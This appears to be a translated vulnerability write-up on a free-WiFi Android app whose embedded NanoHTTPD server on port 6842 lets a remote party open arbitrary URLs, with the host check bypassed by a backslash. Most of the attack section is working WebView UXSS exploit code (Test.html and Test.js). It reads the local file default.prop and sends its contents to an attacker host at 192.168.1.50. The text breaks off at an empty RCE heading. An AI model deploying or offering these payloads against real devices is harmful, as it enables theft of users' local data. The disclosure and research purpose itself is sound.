free WIFI Remote Control of user behavior (Trojan shell theft of information)
what are the potential risks of free WIFI webshell functions?
Through netstat, I found that free wifi listens to port 6842. What is the reason for this port? Can I use it?
# busybox netstat -tunlp Active Internet connections (only servers)Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 :::6842 :::* LISTEN 17222/com.qihoo.fre
First, reverse the client to view the function of this port, search by keyword 6842
Catch up with the parent class and find it is a lightweight android webserver with nanohttp
Github has its source code. In this example, only part of the code is extracted in the Project.
[Https://github.com/NanoHttpd/nanohttpd]
Continue to view how the parameter is passed.
The url in the request u is taken out and opened in the browser, but before that, there is a host judgment.
It seems that you can only open the domain name under, And it is troublesome to use it again. How can I find an xss in the domain? Or bypass this host to determine?
Tests show that this restriction can be bypassed by backslash.
Next, how can we further exploit this problem to open a specified Webpage through a browser? The first thing that comes to mind is:
-Phishing/Trojan apk/advertisement
-Webview rce
-Webview UXSS
Now we will do two experiments:
The first is to remotely open a specified Webpage through free wifi and use webview UXSS to steal user local data.
Test.html
Open http://notfound/Get local file!<script>
function exploit1() {
window.open('\u0000javascript:document.body.innerHTML="<script src=http://192.168.1.50/test.js><iframe src=file:/default.prop onload=exploit2() style=width:100%;height:1000px; name=test2></iframe>";','test');
}
</script>
<Iframe id = "iframe" name = "test" src = "http://www.example.com/" style = "width: 100%; height: 1000px;"> </iframe>
Test. js
var flag = 0;function exploit2(){ if(flag) {return} window.open('\u0000javascript:location.replace("http://192.168.1.50/?file="+escape(document.body.innerHTML))','test2'); flag = 1;}
The second is to use free wifi to remotely open a specified webpage and use webview for remote code execution.
Rce.html